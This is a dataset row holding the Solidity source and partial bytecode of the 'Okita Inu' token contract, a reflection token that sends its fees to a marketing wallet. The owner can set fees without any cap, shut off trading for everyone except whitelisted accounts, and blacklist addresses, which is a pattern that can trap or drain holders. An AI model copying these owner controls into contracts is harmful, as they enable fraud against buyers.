address
stringlengths 42
42
| source_code
stringlengths 6.9k
125k
| bytecode
stringlengths 2
49k
| slither
stringclasses 664
values | id
int64 0
10.7k
|
---|---|---|---|---|
0x4cf77ee06985659402674aa05d08b9152b9e1792
|
/**
*Submitted for verification at Etherscan.io on 2021-10-29
*/
/**
*Submitted for verification at Etherscan.io on 2021-10-28
*/
// ░█████╗░██╗░░██╗██╗████████╗░█████╗░ ██╗███╗░░██╗██╗░░░██╗
// ██╔══██╗██║░██╔╝██║╚══██╔══╝██╔══██╗ ██║████╗░██║██║░░░██║
// ██║░░██║█████═╝░██║░░░██║░░░███████║ ██║██╔██╗██║██║░░░██║
// ██║░░██║██╔═██╗░██║░░░██║░░░██╔══██║ ██║██║╚████║██║░░░██║
// ╚█████╔╝██║░╚██╗██║░░░██║░░░██║░░██║ ██║██║░╚███║╚██████╔╝
// ░╚════╝░╚═╝░░╚═╝╚═╝░░░╚═╝░░░╚═╝░░╚═╝ ╚═╝╚═╝░░╚══╝░╚═════╝░
//
// 𝑈𝑛𝑖𝑠𝑤𝑎𝑝 𝑝𝑙𝑎𝑦 𝑜𝑓 𝑡ℎ𝑒 𝑑𝑎𝑦, 𝑙𝑎𝑢𝑛𝑐ℎ𝑖𝑛𝑔 9 𝑃𝑀 𝑈𝑇𝐶 +0
// 𝑇𝑒𝑙𝑒𝑔𝑟𝑎𝑚: https://t.me/okitainu
// 𝑊𝑒𝑏𝑠𝑖𝑡𝑒: https://www.okitainu.com/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract OkitaInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Okita Inu";
string private constant _symbol = "OKITA";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 10;
//Sell Fee
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 5;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping (address => bool) public preTrader;
mapping(address => uint256) private cooldown;
address payable private _marketingAddress = payable(0x25852DA567e5D39053A716052455680D5b4B73A6);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 500000000000 * 10**9; //0.5% of total supply per txn
uint256 public _maxWalletSize = 1500000000000 * 10**9; //1.25% of total supply
uint256 public _swapTokensAtAmount = 10000000000 * 10**9; //0.1%
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
preTrader[owner()] = true;
bots[address(0x00000000000000000000000000000000001)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(preTrader[from], "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set MAx transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function allowPreTrading(address account, bool allowed) public onlyOwner {
require(preTrader[account] != allowed, "TOKEN: Already enabled.");
preTrader[account] = allowed;
}
}
|
0x6080604052600436106101c55760003560e01c8063715018a6116100f757806398a5c31511610095578063bfd7928411610064578063bfd7928414610626578063c3c8cd8014610663578063dd62ed3e1461067a578063ea1644d5146106b7576101cc565b806398a5c3151461055a578063a2a957bb14610583578063a9059cbb146105ac578063bdd795ef146105e9576101cc565b80638da5cb5b116100d15780638da5cb5b146104b05780638f70ccf7146104db5780638f9a55c01461050457806395d89b411461052f576101cc565b8063715018a61461044557806374010ece1461045c5780637d1db4a514610485576101cc565b80632fd689e3116101645780636b9990531161013e5780636b9990531461039f5780636d8aa8f8146103c85780636fc3eaec146103f157806370a0823114610408576101cc565b80632fd689e31461031e578063313ce5671461034957806349bd5a5e14610374576101cc565b80631694505e116101a05780631694505e1461026257806318160ddd1461028d57806323b872dd146102b85780632f9c4569146102f5576101cc565b8062b8cf2a146101d157806306fdde03146101fa578063095ea7b314610225576101cc565b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f860048036038101906101f39190612a7c565b6106e0565b005b34801561020657600080fd5b5061020f61080a565b60405161021c9190612b4d565b60405180910390f35b34801561023157600080fd5b5061024c60048036038101906102479190612ba5565b610847565b6040516102599190612c00565b60405180910390f35b34801561026e57600080fd5b50610277610865565b6040516102849190612c7a565b60405180910390f35b34801561029957600080fd5b506102a261088b565b6040516102af9190612ca4565b60405180910390f35b3480156102c457600080fd5b506102df60048036038101906102da9190612cbf565b61089d565b6040516102ec9190612c00565b60405180910390f35b34801561030157600080fd5b5061031c60048036038101906103179190612d3e565b610976565b005b34801561032a57600080fd5b50610333610af9565b6040516103409190612ca4565b60405180910390f35b34801561035557600080fd5b5061035e610aff565b60405161036b9190612d9a565b60405180910390f35b34801561038057600080fd5b50610389610b08565b6040516103969190612dc4565b60405180910390f35b3480156103ab57600080fd5b506103c660048036038101906103c19190612ddf565b610b2e565b005b3480156103d457600080fd5b506103ef60048036038101906103ea9190612e0c565b610c1e565b005b3480156103fd57600080fd5b50610406610cd0565b005b34801561041457600080fd5b5061042f600480360381019061042a9190612ddf565b610d42565b60405161043c9190612ca4565b60405180910390f35b34801561045157600080fd5b5061045a610d93565b005b34801561046857600080fd5b50610483600480360381019061047e9190612e39565b610ee6565b005b34801561049157600080fd5b5061049a610f85565b6040516104a79190612ca4565b60405180910390f35b3480156104bc57600080fd5b506104c5610f8b565b6040516104d29190612dc4565b60405180910390f35b3480156104e757600080fd5b5061050260048036038101906104fd9190612e0c565b610fb4565b005b34801561051057600080fd5b50610519611066565b6040516105269190612ca4565b60405180910390f35b34801561053b57600080fd5b5061054461106c565b6040516105519190612b4d565b60405180910390f35b34801561056657600080fd5b50610581600480360381019061057c9190612e39565b6110a9565b005b34801561058f57600080fd5b506105aa60048036038101906105a59190612e66565b611148565b005b3480156105b857600080fd5b506105d360048036038101906105ce9190612ba5565b6111ff565b6040516105e09190612c00565b60405180910390f35b3480156105f557600080fd5b50610610600480360381019061060b9190612ddf565b61121d565b60405161061d9190612c00565b60405180910390f35b34801561063257600080fd5b5061064d60048036038101906106489190612ddf565b61123d565b60405161065a9190612c00565b60405180910390f35b34801561066f57600080fd5b5061067861125d565b005b34801561068657600080fd5b506106a1600480360381019061069c9190612ecd565b6112d7565b6040516106ae9190612ca4565b60405180910390f35b3480156106c357600080fd5b506106de60048036038101906106d99190612e39565b61135e565b005b6106e86113fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610775576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161076c90612f59565b60405180910390fd5b60005b81518110156108065760016010600084848151811061079a57610799612f79565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806107fe90612fd7565b915050610778565b5050565b60606040518060400160405280600981526020017f4f6b69746120496e750000000000000000000000000000000000000000000000815250905090565b600061085b6108546113fd565b8484611405565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600069152d02c7e14af6800000905090565b60006108aa8484846115d0565b61096b846108b66113fd565b610966856040518060600160405280602881526020016139f260289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061091c6113fd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dc09092919063ffffffff16565b611405565b600190509392505050565b61097e6113fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0290612f59565b60405180910390fd5b801515601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415610a9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a959061306c565b60405180910390fd5b80601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60185481565b60006009905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610b366113fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bc3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bba90612f59565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610c266113fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cb3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610caa90612f59565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d116113fd565b73ffffffffffffffffffffffffffffffffffffffff1614610d3157600080fd5b6000479050610d3f81611e24565b50565b6000610d8c600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e90565b9050919050565b610d9b6113fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e1f90612f59565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610eee6113fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7290612f59565b60405180910390fd5b8060168190555050565b60165481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610fbc6113fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611049576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104090612f59565b60405180910390fd5b80601560146101000a81548160ff02191690831515021790555050565b60175481565b60606040518060400160405280600581526020017f4f4b495441000000000000000000000000000000000000000000000000000000815250905090565b6110b16113fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461113e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113590612f59565b60405180910390fd5b8060188190555050565b6111506113fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d490612f59565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b600061121361120c6113fd565b84846115d0565b6001905092915050565b60116020528060005260406000206000915054906101000a900460ff1681565b60106020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661129e6113fd565b73ffffffffffffffffffffffffffffffffffffffff16146112be57600080fd5b60006112c930610d42565b90506112d481611efe565b50565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113666113fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ea90612f59565b60405180910390fd5b8060178190555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611475576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146c906130fe565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114dc90613190565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115c39190612ca4565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611640576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161163790613222565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a7906132b4565b60405180910390fd5b600081116116f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ea90613346565b60405180910390fd5b6116fb610f8b565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117695750611739610f8b565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611abf57601560149054906101000a900460ff1661180f57601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661180e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611805906133d8565b60405180910390fd5b5b601654811115611854576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161184b90613444565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f85750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611937576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192e906134d6565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16146119e4576017548161199984610d42565b6119a391906134f6565b106119e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119da906135be565b60405180910390fd5b5b60006119ef30610d42565b9050600060185482101590506016548210611a0a5760165491505b808015611a22575060158054906101000a900460ff16155b8015611a7c5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611a945750601560169054906101000a900460ff165b15611abc57611aa282611efe565b60004790506000811115611aba57611ab947611e24565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611b665750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611c195750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611c185750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611c275760009050611dae565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611cd25750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611cea57600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611d955750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611dad57600a54600c81905550600b54600d819055505b5b611dba84848484612184565b50505050565b6000838311158290611e08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dff9190612b4d565b60405180910390fd5b5060008385611e1791906135de565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611e8c573d6000803e3d6000fd5b5050565b6000600654821115611ed7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ece90613684565b60405180910390fd5b6000611ee16121b1565b9050611ef681846121dc90919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611f3557611f346128db565b5b604051908082528060200260200182016040528015611f635781602001602082028036833780820191505090505b5090503081600081518110611f7b57611f7a612f79565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561201d57600080fd5b505afa158015612031573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061205591906136b9565b8160018151811061206957612068612f79565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506120d030601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611405565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016121349594939291906137df565b600060405180830381600087803b15801561214e57600080fd5b505af1158015612162573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b8061219257612191612226565b5b61219d848484612269565b806121ab576121aa612434565b5b50505050565b60008060006121be612448565b915091506121d581836121dc90919063ffffffff16565b9250505090565b600061221e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506124ad565b905092915050565b6000600c5414801561223a57506000600d54145b1561224457612267565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b60008060008060008061227b87612510565b9550955095509550955095506122d986600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461257890919063ffffffff16565b600260008b73